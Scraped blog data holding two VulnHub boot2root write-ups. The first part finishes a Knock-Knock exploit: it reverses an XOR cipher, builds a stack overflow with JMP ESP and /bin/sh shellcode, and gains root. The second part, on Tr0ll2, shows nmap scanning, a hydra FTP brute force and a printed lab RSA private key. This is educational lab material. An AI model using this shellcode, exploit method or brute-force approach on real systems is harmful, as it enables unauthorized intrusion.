\\246OBpz\\227\\337\u0026gt;\\335#S@\u0026amp;tW\\t\\265\\236\\fSi\\r\\364\\024\\205\\334qj|\\250\\270o[jy\\017\\\u0026#34;l\\311+\\203˃\u0026amp;\\322t\\217 \u0026#34;...) 0020| 0xbffff3d4 (\u0026#34;Ux7;\u0026lt;\\243\\211T*U\\227\\071\\017:\\236\\026L\\021\\267\\b\\265\\275ktJj\\323\\024w\\367\\f;\\031\\372\\065u_˰\u0026#39;\\255nL^F\\275\\351D;\\251\\376~\\246b\\a\\006Wҩ\u0026gt;\\001\\330Zn\\242T\\273wO\\245uK\\251\\364?\u0026gt;\\362\\005$1\\016k\\371\\035\\\u0026#34;\\030}x\\367\\177\\320\u0026amp;e:\\202\\030)\\316\\337/\u0026lt;\\371\\237\\\\pC\\237\\071+)\\215JLN,f\\352\u0026amp;\\005t\\362\\272\\254M\\261\\343\\205\\035:O\\027a\\177\\345\\331v\\276\\200wEjR\\372nrY\\034 \\246OBpz\\227\\337\u0026gt;\\335#S@\u0026amp;tW\\t\\265\\236\\fSi\\r\\364\\024\\205\\334qj|\\250\\270o[jy\\017\\\u0026#34;l\\311+\\203˃\u0026amp;\\322t\\217 BG\\202\\006\u0026#34;...) 0024| 0xbffff3d8 --\u0026gt; 0x5489a33c 0028| 0xbffff3dc --\u0026gt; 0x3997552a [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0675c916 in ?? () gdb-peda$ Ow. Ok, so we don\u0026rsquo;t crash with a clean 0x41414141 as one would have hoped for :( In fact, examining the stack as can be seen above, its just a bunch of crap. The encrypted file content maybe? That would be the only logical conclusion at this stage.\nplanning a exploit So far I had what I suspected was a stack overflow, however, I suspected the overflow only occurs after the encryption function (remember xcrypt?) has run and wants to write the output to file (this is an assumption though).\nOk. So. Make sure you focus now :)\nWe have already seen earlier that if we try to re-encrypt an already encrypted file, it actually decrypts it. That means, all things considered, if we were to pass a encrypted version of our A buffer, we may be able to have EIP overwritten with our own values. There is one major problem with this though. We are unable to write a encrypted version of our A buffer as we have just observed it crash before the output is written.\nSo what does this leave us with? If we can reproduce the encryption logic in a way that we can actually write an encrypted version of our A buffer long enough, then we can feed that to tfc and hopefully have workable values. This way we may potentially be able to determine where EIP gets corrupt, and considering tfc had no security as part of the compilation, maybe execute some shell code on the stack.\nOk, so, we have a plan, but this involves reverse engineering of the encryption logic in xcrypt() to get started. Something I have practically 0 experience in.\nreversing xcrypt() For this part, I have to give a big high five to @recrudesce for helping me understand parts of the pseudo code.\nRight. Essentially, in order for us to better understand what exactly is happening within xcrypt(), we would ideally want to get some pseudo code generated from the asm. Decompiling wont give you exactly the sources for the function (and in many cases its reaaaaaly hard to comprehend), but it really helps in getting the mind to understand the flow.\nFor the pseudo code, I downloaded a demo version of Hopper. The demo has a boat load of restrictions, including a 30min session limit, however it allows the pseudo code generation, so it was fine for this use. I fired up Hopper, loaded tfc, located the xcrypt() function and slapped the Pseudo code generation button:\n  While looking around for pseudo code generation options, I came across the Retargetable Decompiler online service, which had the following image as a control flow graph for the calls in xcrypt().\n  Armed this this graph and the pseudo code, I was ready to start writing a python version of it.\nI started by getting a basic skeleton going for the script and working though the pseudo code line by line. Lets work through it and see what it does exactly.\nint xcrypt(int arg0, int arg1) { We start by declaring the fuction xcrypt(). xcrypt() takes 2 arguments. From inspecting the the parent function cryptFile() that calls xcrypt(), we can see the 2 arguments passed to xcrypt() is the file content and the length of the content respectively. So, arg0 is the content and arg1 is the content length.\nvar_C = 0xea1ab19f; var_10 = arg_0; var_4 = 0x0; Here we have 3 variable assignments occur. var_C is set to 0xea1ab19f, var_10 is set to the file content from arg0 and var_4 is set to 0.\nwhile (arg_4 \u0026gt;\u0026gt; 0x2 \u0026gt; var_4) { *(var_4 * 0x4 + var_10) = *(var_10 + var_4 * 0x4) ^ var_C; This part has one bit that may be very confusing. Comparing this to other output from say IDA and Retargetable Decompiler, we will see that the arg_4 referred to here is actually the length of the content, so arg1 then.\nWith that out the way, we see the start of a while loop for arg_4 \u0026gt;\u0026gt; 0x2, which translates to len(content) \u0026gt;\u0026gt; 2, which essentially just means len(content) / 4. While the output of this bitwise right shift is larger than var_4, which is 0 at the start, the loop will continue.\nOnce inside the loop (and this is the part that for me was the hardest!!!) we see the line *(var_4 * 0x4 + var_10) = *(var_10 + var_4 * 0x4) ^ var_C;. What helped me understand what is going on here was to understand that var_10 (which is the content of our file) is being passed by reference. So, var_4 * 4 is essentially i*4 of the contents, or content[i*4] in python, which is the 4 bytes from var_4. These 4 bytes are being xored by var_C, replacing the original 4 bytes in var_10, to the new xored ones.\nSo what can we deduce then? The hardcoded base encryption key for tfc is 0xea1ab19f. Cool eh! But ok lets move on.\nvar_8 = 0x0; while (var_8 \u0026lt;= 0x7) { if ((var_C \u0026amp; 0x1) != 0x0) { var_C = var_C \u0026gt;\u0026gt; 0x1; var_C = var_C ^ 0x6daa1cf4; } else { var_C = var_C \u0026gt;\u0026gt; 0x1; } var_8 = var_8 + 0x1; } var_4 = var_4 + 0x1; Next we see the start of another loop. Remember we are still in the parent loop that is going for the length of the content. This loop is planning on passing 8 times judging from while (0x0 \u0026lt;= 0x7) {.\nOnce the loop has started, we see a bitwise and occur that checks if the key (var_C) \u0026amp; 1 does not equal 0. If it does, it does a bitwise right shift and then xors it with 0x6daa1cf4. Why 0x6daa1cf4? Well, should the key ever become 1111 1111 1111 1111 (in binary), then any bitshifts will have no effect. If the and does not result in 0, just shift the bits.\nThis occurs for 8 runs.\nSo lets sum that up. The key is permutated 8 times via bitshifts for every 4 bytes of content that gets encrypted.\nUp to here, I had my python script pretty much nailed as I was able to replicate the encryption as is, and confirmed that decrypting it worked fine. However, if the content length was not exactly divisible by 4, the trailing bits of the content would be mangled.\nThat brings us to the final part. Rumor has it that this is the padding that occurs. Why this is at the end of the encryption logic (confirmed via multiple pseudo code generators) I don\u0026rsquo;t know :( Maybe someone else can explain this :D I just ignored it :)\nvar_14 = arg_4 \u0026amp; 0xfffffffc; var_4 = 0x0; while ((arg_4 \u0026amp; 0x3) \u0026gt; var_4) { *(int8_t *)(arg_0 + var_14 + var_4) = LOBYTE(var_C ^ *(int8_t *)(arg_0 + var_14 + var_4) \u0026amp; 0xff); var_C = var_C \u0026gt;\u0026gt; 0x8; var_4 = var_4 + 0x1; } return 0x0; the encryption logic replicated While I was working through the pseudo code, I was writing the python script. You will notice it replicates the pseudo code logic almost exactly, except for the fact that we are not passing the content by reference, but instead build a new string with the encrypted version of the content in it. The script resulted in:\n#!/usr/bin/python import struct # Hopper Pseudo Code # int xcrypt(int arg0, int arg1) { # var_C = 0xea1ab19f; # var_10 = arg_0; # var_4 = 0x0; # while (arg_4 \u0026gt;\u0026gt; 0x2 \u0026gt; var_4) { # *(var_4 * 0x4 + var_10) = *(var_10 + var_4 * 0x4) ^ var_C; # var_8 = 0x0; # while (var_8 \u0026lt;= 0x7) { # if ((var_C \u0026amp; 0x1) != 0x0) { # var_C = var_C \u0026gt;\u0026gt; 0x1; # var_C = var_C ^ 0x6daa1cf4; # } # else { # var_C = var_C \u0026gt;\u0026gt; 0x1; # } # var_8 = var_8 + 0x1; # } # var_4 = var_4 + 0x1; # } # var_14 = arg_4 \u0026amp; 0xfffffffc; # var_4 = 0x0; # while ((arg_4 \u0026amp; 0x3) \u0026gt; var_4) { # *(int8_t *)(arg_0 + var_14 + var_4) = LOBYTE(var_C ^ *(int8_t *)(arg_0 + var_14 + var_4) \u0026amp; 0xff); # var_C = var_C \u0026gt;\u0026gt; 0x8; # var_4 = var_4 + 0x1; # } # return 0x0; # } def xcrypt(content, length): encrypted = \u0026#39;\u0026#39; # set the base encryption key. this mutates with each pass key = 0xea1ab19f # var_C = 0xea1ab19f; for word in range(length \u0026gt;\u0026gt; 2): # while (arg_4 \u0026gt;\u0026gt; 0x2 \u0026gt; var_4) { # apply the encryption logic as can bee seen in # *(var_4 * 0x4 + var_10) = *(var_10 + var_4 * 0x4) ^ var_C; # grab the 4 bytes we working with bytes = content[word*4:((word*4)+4)] # struct unpack_from returns a tuple, we want 0 so that # we end up with something we can xor long_to_xor = struct.unpack_from(\u0026#39;\u0026lt;L\u0026#39;, bytes)[0] # apply the xor, this is the actual encryption part encrypted_bytes = long_to_xor ^ key # append the 4 encrypted bytes by packing them encrypted += struct.pack(\u0026#39;\u0026lt;L\u0026#39;,encrypted_bytes) # next we run the key mutation for mutation in xrange(8): # no mutation is possible of the key is 1111 1111 1111 1111 if (key \u0026amp; 1) != 0: key = key \u0026gt;\u0026gt; 1 key = key ^ 0x6daa1cf4 else: key = key \u0026gt;\u0026gt; 1 return encrypted; if __name__ == \u0026#39;__main__\u0026#39;: # set the content that we want to encrypt content = \u0026#34;A\u0026#34; *1000 length = len(content) encrypted = xcrypt(content, length) print encrypted testing the script With the script done I obviously had to test it. I have a buffer of 1000 A\u0026rsquo;s as the content and redirected the script output to a file:\nroot@kali:~# python make-crypt.py \u0026gt; test.tfc root@kali:~# head test.tfc ��[�]��C\u0006��dl� H)�Aotg�\\!�E?�̀l+�\u0001B��$f5%�\u0014\u0026amp;�\u0019y\u001d�|S[I;R\u0001.�+T��w�\u0004\u0004$͟�7��?i�w\u0026#39;�\u00173�\u001es\u0026lt;A��^�� root@kali:~# ./tfc test.tfc out.tfc \u0026gt;\u0026gt; File crypted, goodbye! root@kali:~# head out.tfc AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA So to recap. We generated a file test.tfc, which is the encrypted version of 1000 A\u0026rsquo;s. We then ran it through tfc which decrypted it to our cleartext A\u0026rsquo;s again.\nfinding EIP With the ability of generating encrypted files of any length now, we had everything we needed to find EIP from the previously suspected stack overflow. Worst case, we can have a clean buffer of 41\u0026rsquo;s to work with in a debugger. So the next run, I changed the content to 6000 A\u0026rsquo;s, and ran it through gdb to be able to inspect the Segmentation Fault that occurs.\nroot@kali:~# python make-crypt.py \u0026gt; crash.tfc root@kali:~# gdb -q ./tfc Reading symbols from /root/tfc...(no debugging symbols found)...done. gdb-peda$ r crash.tfc crash-out.tfc Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0xb7fbfff4 --\u0026gt; 0x14bd7c ECX: 0xffffffc8 EDX: 0x9 (\u0026#39;\\t\u0026#39;) ESI: 0x0 EDI: 0x0 EBP: 0x41414141 (\u0026#39;AAAA\u0026#39;) ESP: 0xbffff3d0 (\u0026#39;A\u0026#39; \u0026lt;repeats 200 times\u0026gt;...) EIP: 0x41414141 (\u0026#39;AAAA\u0026#39;) EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414141 [------------------------------------stack-------------------------------------] 0000| 0xbffff3d0 (\u0026#39;A\u0026#39; \u0026lt;repeats 200 times\u0026gt;...) 0004| 0xbffff3d4 (\u0026#39;A\u0026#39; \u0026lt;repeats 200 times\u0026gt;...) 0008| 0xbffff3d8 (\u0026#39;A\u0026#39; \u0026lt;repeats 200 times\u0026gt;...) 0012| 0xbffff3dc (\u0026#39;A\u0026#39; \u0026lt;repeats 200 times\u0026gt;...) 0016| 0xbffff3e0 (\u0026#39;A\u0026#39; \u0026lt;repeats 200 times\u0026gt;...) 0020| 0xbffff3e4 (\u0026#39;A\u0026#39; \u0026lt;repeats 200 times\u0026gt;...) 0024| 0xbffff3e8 (\u0026#39;A\u0026#39; \u0026lt;repeats 200 times\u0026gt;...) 0028| 0xbffff3ec (\u0026#39;A\u0026#39; \u0026lt;repeats 200 times\u0026gt;...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41414141 in ?? () gdb-peda$ BOOM! A cleanly overwritten EIP! :) At this stage I was fairly confident the rest of the exploit was a plain and simple stack overflow. I proceeded to fire up pattern_create from the Metasploit framework to generate me a unique string of 6000 characters. I then swapped out the content from my 6000 A\u0026rsquo;s to this pattern and rerun the crash in gdb.\nroot@kali:~# python make-crypt.py \u0026gt; crash.tfc root@kali:~# gdb -q ./tfc Reading symbols from /root/tfc...(no debugging symbols found)...done. gdb-peda$ r crash.tfc crash-out.tfc [... snip ...] Stopped reason: SIGSEGV 0x35684634 in ?? () gdb-peda$ With the crash at 0x35684634, we check up with pattern_offset to see where exactly in that 6000 character buffer this pattern occurs:\nroot@kali:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 35684634 [*] Exact match at offset 4124 This means EIP starts at byte 4124 of evil buffer. So back I went to our file generation script and changed the payload to send 4124 A\u0026rsquo;s and then 4 B\u0026rsquo;s, and padded the rest with C\u0026rsquo;s up to 6000 characters.\ncontent = \u0026#34;A\u0026#34; *4124 + \u0026#34;BBBB\u0026#34; + \u0026#34;C\u0026#34;*(6000-4124-4) This resulted in a crash at 0x42424242 in gdb which was perfect!\nexploiting tfc The only thing that was left to do was to find a JMP ESP instruction we could jump to, and add some shell code on to the stack. Since the binary compiled with NO NX, it should happily execute code on it.\n  Using Evans Debugger (run with edb --run ./tfc), I searched for a JMP ESP instruction and found one in tfc itself at 0x08048e93. This is where we will tell EIP to point to when we corrupt the memory. That means our contents will change to:\ncontent = \u0026#34;A\u0026#34; *4124 + \u0026#34;\\x93\\x8e\\x04\\x08\u0026#34; + \u0026#34;C\u0026#34;*(6000-4124-4) Lastly, we need some shell code. I just re-used some /bin/sh shell code I have stashed away for this one, and added it to the buffer after a few NOP\u0026rsquo;s just in case. Normally one would have to actually first check for any bad characters that may cause our shellcode to break when sent via the buffer. I skipped this and was lucky to have a working one first try. The final exploit therefore has the following section to prepare the contents:\nif __name__ == \u0026#39;__main__\u0026#39;: # 08048e93 ; jmp esp shellcode = ( \u0026#34;\\x31\\xc0\\x89\\xc3\\xb0\\x17\\xcd\\x80\\x31\\xd2\\x52\\x68\\x6e\\x2f\\x73\\x68\u0026#34; + \u0026#34;\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x52\\x53\\x89\\xe1\\x8d\\x42\\x0b\\xcd\\x80\u0026#34; ) content = \u0026#34;A\u0026#34; *4124 + \u0026#34;\\x93\\x8e\\x04\\x08\u0026#34; + \u0026#34;\\x90\u0026#34;*16 + shellcode + \u0026#34;C\u0026#34; *(6000-4124-4-16-len(shellcode)) length = len(content) encrypted = xcrypt(content, length) print encrypted With the contents prepared, we would then run it outside of a debugger to test and get dropped into a shell. That concluded the testing and the script was ready for use on the VM. So, I copied the python over to jason\u0026rsquo;s home directory and executed it:\njason@knockknock:~$ python make-crypt.py \u0026gt; crash.tfc \u0026amp;\u0026amp; ./tfc crash.tfc crash-out.tfc # id uid=0(root) gid=1000(jason) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(jason) pwnd!\nAs proof, the flag:\n# cat /root/the_flag_is_in_here/qQcmDWKM5a6a3wyT.txt __ __ __ __ ____ | | __ ____ ____ ____ | | __ | | __ ____ ____ ____ | | __ /_ | | |/ // \\ / _ \\_/ ___\\| |/ / ______ | |/ // \\ / _ \\_/ ___\\| |/ / | | | \u0026lt;| | ( \u0026lt;_\u0026gt; ) \\___| \u0026lt; /_____/ | \u0026lt;| | ( \u0026lt;_\u0026gt; ) \\___| \u0026lt; | | |__|_ \\___| /\\____/ \\___ \u0026gt;__|_ \\  |__|_ \\___| /\\____/ \\___ \u0026gt;__|_ \\  |___| \\/ \\/ \\/ \\/ \\/ \\/ \\/ \\/ Hooray you got the flag! Hope you had as much fun r00ting this as I did making it! Feel free to hit me up in #vulnhub @ zer0w1re Gotta give a big shout out to c0ne, who helpped to make the tfc binary challenge, as well as rasta_mouse, and recrudesce for helping to find bugs and test the VM :) root password is \u0026#34;qVx4UJ*zcUdc9#3C$Q\u0026#34;, but you should already have a shell, right? ;) There are a number other goodies in /root to check out so be sure to do that!\nconclusion Big shoutout to @zer0w1re for the VM and as always @VulnHub for the hosting. The learning experience has been invaluable! :)\n","permalink":"https://leonjza.github.io/blog/2014/10/14/knock-knock-whos-there-solving-knock-knock/","summary":"\u003ch2 id=\"introduction\"\u003eintroduction\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"http://vulnhub.com/series/knock-knock,53/\"\u003eKnock-Knock\u003c/a\u003e is a vulnerable boot2root VM by \u003ca href=\"https://twitter.com/zer0w1re\"\u003e@zer0w1re\u003c/a\u003e and sure as heck was packed with interesting twists and things to learn!\u003c/p\u003e\n\u003cp\u003eI figured I\u0026rsquo;d just \u003cem\u003ehave a quick look™\u003c/em\u003e, and midnight that evening ended up with \u003cem\u003eroot\u003c/em\u003e privileges :D\u003c/p\u003e\n\u003cp\u003eAs always, if you have not done this VM yet, this post is a massive spoiler and I would highly recommend you close up here and try it first :)\nThis is my experience \u0026lsquo;knocking\u0026rsquo; on the door.\u003c/p\u003e","title":"knock-knock who’s there? solving knock knock"},{"content":"foreword Tr0ll2 is a successor in a boot2root series by @Maleus21 hosted over at VulnHub. Having been able to pwn Tr0ll1, I gave this one a shot too.\nHere is my experience taming the troll, again.\ngetting started Like almost all boot2roots, we get right into it by slapping the VM into a hypervisor (VirtualBox in my case), discovering the IP address and running a nmap against it:\nroot@kali:~/Desktop/troll2# nmap -sV --reason 192.168.56.101 Starting Nmap 6.46 ( http://nmap.org ) at 2014-10-10 06:55 SAST Nmap scan report for 192.168.56.101 Host is up, received reset (0.00031s latency). Not shown: 997 filtered ports Reason: 997 no-responses PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack vsftpd 2.0.8 or later 22/tcp open ssh syn-ack OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http syn-ack Apache httpd 2.2.22 ((Ubuntu)) Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.21 seconds ftp, ssh and http. Quite an attack surface to start with. I start with a quick google for vsftpd 2.0.8 exploit with nothing apparently obvious jumping out at me. I also quickly attempt to SSH to the server just to check if there aren\u0026rsquo;t any strange banners etc to be found which was not the case.\nweb server Opening up a browser to http://192.168.56.101 revealed a familiar image:\n  Oh. Hai. The sources serving up the image had the comment \u0026lt;!-- Nothing to see here, but good try NOOB!\u0026gt; with the image.\nFurther poking around got me to checking if a robots.txt file was present. It was and contained some interestingly named entries. Some of the directories would 404, however a few would 200 with exactly the same content. The directories that returned HTTP 200 were:\n/keep_trying /dont_bother /noob /ok_this_is_it The content served up at these URLs:\n  The source that serves up this image had the comment \u0026lt;!--What did you really think to find here? Try Harder!\u0026gt; with the image.\nSo with exactly the same content displayed for all of the directories that are present, I was a little unsure of where to go next. For all I knew, these 4 directories may have been a symlink to the same place. The HTML sources were the same as well as the images. I figured the next thing I could do was download the images and compare exifdata. I put the URL\u0026rsquo;s that would 200 into a text file from the robots.txt and looped over them downloading the images:\nroot@kali:~# for line in $(cat 200.txt); do echo \u0026#34;==\u0026gt;$line\u0026lt;==\u0026#34; \u0026amp;\u0026amp; wget 192.168.56.101/$line/cat_the_troll.jpg; done ==\u0026gt;/ok_this_is_it\u0026lt;== --2014-10-10 07:31:37-- http://192.168.56.101/ok_this_is_it/cat_the_troll.jpg Connecting to 192.168.56.101:80... connected. HTTP request sent, awaiting response... 200 OK Length: 15831 (15K) [image/jpeg] Saving to: `cat_the_troll.jpg.3\u0026#39; 100%[=======\u0026gt;] 15,831 --.-K/s in 0s 2014-10-10 07:31:37 (191 MB/s) - `cat_the_troll.jpg.3\u0026#39; saved [15831/15831] Immediately when you ls the directory containing the images will you notice a difference:\nroot@kali:~# ls -l total 68 -rw-r--r-- 1 root root 47 Oct 10 07:31 200.txt -rw-r--r-- 1 root root 15831 Oct 4 10:57 cat_the_troll.jpg -rw-r--r-- 1 root root 15873 Oct 4 10:31 cat_the_troll.jpg.1 #\u0026lt;--- -rw-r--r-- 1 root root 15831 Oct 4 10:57 cat_the_troll.jpg.2 -rw-r--r-- 1 root root 15831 Oct 4 10:57 cat_the_troll.jpg.3 One of the entires has a different timestamp to the others. A quick glance on the exifdata did not reveal any differences, however, running a cmp on the files hinted towards what may be up.\nroot@kali:~# cmp cat_the_troll.jpg cat_the_troll.jpg.1 cmp: EOF on cat_the_troll.jpg Sweet, so lets print the last line of both and check what the diff is:\nroot@kali:~/Desktop/troll2/c# tail -n 1 cat_the_troll.jpg 8\u0011�z2��\u001fp�T�\u001a\u0016lj\\p\u001a��?�\u0026lt;\u0013�S�۪��6�#���7U y���*/ p?E$���%=\u001e\u001b���.�B���\u001fo�ES_� root@kali:~/Desktop/troll2/c# tail -n 1 cat_the_troll.jpg.1 8\u0011�z2��\u001fp�T�\u001a\u0016lj\\p\u001a��?�\u0026lt;\u0013�S�۪��6�#���7U y���*/ p?E$���%=\u001e\u001b���.�B���\u001fo�ES_��Look Deep within y0ur_self for the answer Look Deep within y0ur_self for the answer. Hmm. Keeping in mind some of the previous tricks tr0ll had and the fact that the words y0ur_self were written differently, I tried to use this as a web path:\n  I downloaded answer.txt and started to check what is happening inside:\nroot@kali:~# head answer.txt QQo= QQo= QUEK QUIK QUJNCg== QUMK QUNUSAo= QUkK QUlEUwo= QU0K Looks a lot like base64 hey? Lets try decode it:\nroot@kali:~# cat answer.txt | base64 -d | head A A AA AB ABM AC ACTH AI AIDS AM The resultant output appeared to be a wordlist. A big one too. In fact, it has 99157 entires in it. At this stage I was really hoping that I did not have to use this to brute force the ftp or ssh service. That would take forever! After a sort | uniq, the size was reduced to 73128 which was still too much.\nI decided to scroll through the list to see if I can spot anything out of the ordinary. My eyes started to feel very tired and not in the mood to go through all of this, but I persisted and eventually noticed a entry ItCantReallyBeThisEasyRightLOL on line 34164 that was not similar in pattern to the other words. This one was not a web directory :P\nMy guess was that this has to be a password for either the FTP or SSH service.\nftpee I now had what I assumed was a password. No other web related hints had me focussing there and I started to doubt my findings.\nAs a last resort, I started to get together a wordlist that I could give to hydra to chew on. My idea was to grab all of the strings from the web service, including the one found in answer.txt, mutate it a bit and hand it over to hydra to do its work.\nMy approach to compiling the list basically boiled down to appending everything I could find (including HTML sources) as strings into a file. Once I had that, I ran cat wordz | tr \u0026quot;\\\u0026quot;' \u0026quot; '\\n' | sort -u \u0026gt;\u0026gt; words to break it up into a wordlist. Lastly I took the entries had a _ in them and broke them up as single words ie: cat_the_troll.jpg turned into cat, the, troll. The resultant list can be seen here\nAnd finally, it was time to let hydra on the loose.\nroot@kali:~# hydra -v -V -F -L words -P words -t 30 ftp://192.168.56.101 Hydra v7.6 (c)2013 by van Hauser/THC \u0026amp; David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-10-10 08:11:50 [DATA] 30 tasks, 1 server, 13689 login tries (l:117/p:117), ~456 tries per task [DATA] attacking service ftp on port 21 [VERBOSE] Resolving addresses ... done [ATTEMPT] target 192.168.56.101 - login \u0026quot;\u0026gt;\u0026quot; - pass \u0026quot;\u0026gt;\u0026quot; - 1 of 13689 [child 0] [ATTEMPT] target 192.168.56.101 - login \u0026quot;\u0026gt;\u0026quot; - pass \u0026quot;404\u0026quot; - 2 of 13689 [child 1] [ATTEMPT] target 192.168.56.101 - login \u0026quot;\u0026gt;\u0026quot; - pass \u0026quot;again\u0026quot; - 3 of 13689 [child 2] [ATTEMPT] target 192.168.56.101 - login \u0026quot;\u0026gt;\u0026quot; - pass \u0026quot;agent\u0026quot; - 4 of 13689 [child 3] [...] [ATTEMPT] target 192.168.56.101 - login \u0026quot;Tr0ll\u0026quot; - pass \u0026quot;Tr0ll\u0026quot; - 10621 of 13689 [child 4] [ATTEMPT] target 192.168.56.101 - login \u0026quot;Tr0ll\u0026quot; - pass \u0026quot;tr0ll2\u0026quot; - 10622 of 13689 [child 8] [ATTEMPT] target 192.168.56.101 - login \u0026quot;Tr0ll\u0026quot; - pass \u0026quot;tr0ll_again.jpg\u0026quot; - 10623 of 13689 [child 23] [21][ftp] host: 192.168.56.101 login: Tr0ll password: Tr0ll [STATUS] attack finished for 192.168.56.101 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2014-10-10 08:29:08 After a really, really long time, we finally get a successful combination of Tr0ll:Tr0ll. Guess I could have guessed that but oh well. Lets see if this gives us any access:\nroot@kali:~# ftp 192.168.56.101 Connected to 192.168.56.101. 220 Welcome to Tr0ll FTP... Only noobs stay for a while... Name (192.168.56.101:root): Tr0ll 331 Please specify the password. Password: 230 Login successful. Yay! Progress! Lets take a closer look\u0026hellip;\nRemote system type is UNIX. Using binary mode to transfer files. ftp\u0026gt; pas Passive mode on. ftp\u0026gt; ls 227 Entering Passive Mode (192,168,56,101,73,4) 150 Here comes the directory listing. -rw-r--r-- 1 0 0 1474 Oct 04 01:09 lmao.zip 226 Directory send OK. ftp\u0026gt; get lmao.zip local: lmao.zip remote: lmao.zip 227 Entering Passive Mode (192,168,56,101,105,73) 150 Opening BINARY mode data connection for lmao.zip (1474 bytes). 226 Transfer complete. 1474 bytes received in 0.00 secs (621.0 kB/s) ftp\u0026gt; bye 221 Goodbye. noob key We find ourselves with a zip archive called lmao.zip. A encrypted one :(\nI tried a few passwords from the wordlist that I had built earlier and eventually got to the word we got out of answer.txt:\nroot@kali:~/Desktop/troll2# unzip lmao.zip Archive: lmao.zip [lmao.zip] noob password: #ItCantReallyBeThisEasyRightLOL inflating: noob root@kali:~# cat noob -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAsIthv5CzMo5v663EMpilasuBIFMiftzsr+w+UFe9yFhAoLqq yDSPjrmPsyFePcpHmwWEdeR5AWIv/RmGZh0Q+Qh6vSPswix7//SnX/QHvh0CGhf1 /9zwtJSMely5oCGOujMLjDZjryu1PKxET1CcUpiylr2kgD/fy11Th33KwmcsgnPo q+pMbCh86IzNBEXrBdkYCn222djBaq+mEjvfqIXWQYBlZ3HNZ4LVtG+5in9bvkU5 z+13lsTpA9px6YIbyrPMMFzcOrxNdpTY86ozw02+MmFaYfMxyj2GbLej0+qniwKy e5SsF+eNBRKdqvSYtsVE11SwQmF4imdJO0buvQIDAQABAoIBAA8ltlpQWP+yduna u+W3cSHrmgWi/Ge0Ht6tP193V8IzyD/CJFsPH24Yf7rX1xUoIOKtI4NV+gfjW8i0 gvKJ9eXYE2fdCDhUxsLcQ+wYrP1j0cVZXvL4CvMDd9Yb1JVnq65QKOJ73CuwbVlq UmYXvYHcth324YFbeaEiPcN3SIlLWms0pdA71Lc8kYKfgUK8UQ9Q3u58Ehlxv079 La35u5VH7GSKeey72655A+t6d1ZrrnjaRXmaec/j3Kvse2GrXJFhZ2IEDAfa0GXR xgl4PyN8O0L+TgBNI/5nnTSQqbjUiu+aOoRCs0856EEpfnGte41AppO99hdPTAKP aq/r7+UCgYEA17OaQ69KGRdvNRNvRo4abtiKVFSSqCKMasiL6aZ8NIqNfIVTMtTW K+WPmz657n1oapaPfkiMRhXBCLjR7HHLeP5RaDQtOrNBfPSi7AlTPrRxDPQUxyxx n48iIflln6u85KYEjQbHHkA3MdJBX2yYFp/w6pYtKfp15BDA8s4v9HMCgYEA0YcB TEJvcW1XUT93ZsN+lOo/xlXDsf+9Njrci+G8l7jJEAFWptb/9ELc8phiZUHa2dIh WBpYEanp2r+fKEQwLtoihstceSamdrLsskPhA4xF3zc3c1ubJOUfsJBfbwhX1tQv ibsKq9kucenZOnT/WU8L51Ni5lTJa4HTQwQe9A8CgYEAidHV1T1g6NtSUOVUCg6t 0PlGmU9YTVmVwnzU+LtJTQDiGhfN6wKWvYF12kmf30P9vWzpzlRoXDd2GS6N4rdq vKoyNZRw+bqjM0XT+2CR8dS1DwO9au14w+xecLq7NeQzUxzId5tHCosZORoQbvoh ywLymdDOlq3TOZ+CySD4/wUCgYEAr/ybRHhQro7OVnneSjxNp7qRUn9a3bkWLeSG th8mjrEwf/b/1yai2YEHn+QKUU5dCbOLOjr2We/Dcm6cue98IP4rHdjVlRS3oN9s G9cTui0pyvDP7F63Eug4E89PuSziyphyTVcDAZBriFaIlKcMivDv6J6LZTc17sye q51celUCgYAKE153nmgLIZjw6+FQcGYUl5FGfStUY05sOh8kxwBBGHW4/fC77+NO vW6CYeE+bA2AQmiIGj5CqlNyecZ08j4Ot/W3IiRlkobhO07p3nj601d+OgTjjgKG zp8XZNG8Xwnd5K59AVXZeiLe2LGeYbUKGbHyKE3wEVTTEmgaxF4D1g== -----END RSA PRIVATE KEY----- A unencrypted private key! Called noob. I guessed noob may be the username, so I fixed up the permissions on the key and tried my luck:\nroot@kali:~/Desktop/troll2# chmod 600 noob root@kali:~/Desktop/troll2# ssh noob@192.168.56.101 -i noob TRY HARDER LOL! Connection to 192.168.56.101 closed. shocking isn\u0026rsquo;t it Surprise surprise. It seemed like we are in fact authenticating, but we don\u0026rsquo;t have a shell. I figured one of two things could be happening here. First, the .bashrc may have been modified with something that echoes the text TRY HARDER LOL! and exits, or there is some restriction on the SSH key for noob.\nMy first attempts were to specify a command with -t as /bin/bash, but this did not work.\nWith the current buzz around the recently disclosed shellshock bug, I thought I\u0026rsquo;d try it 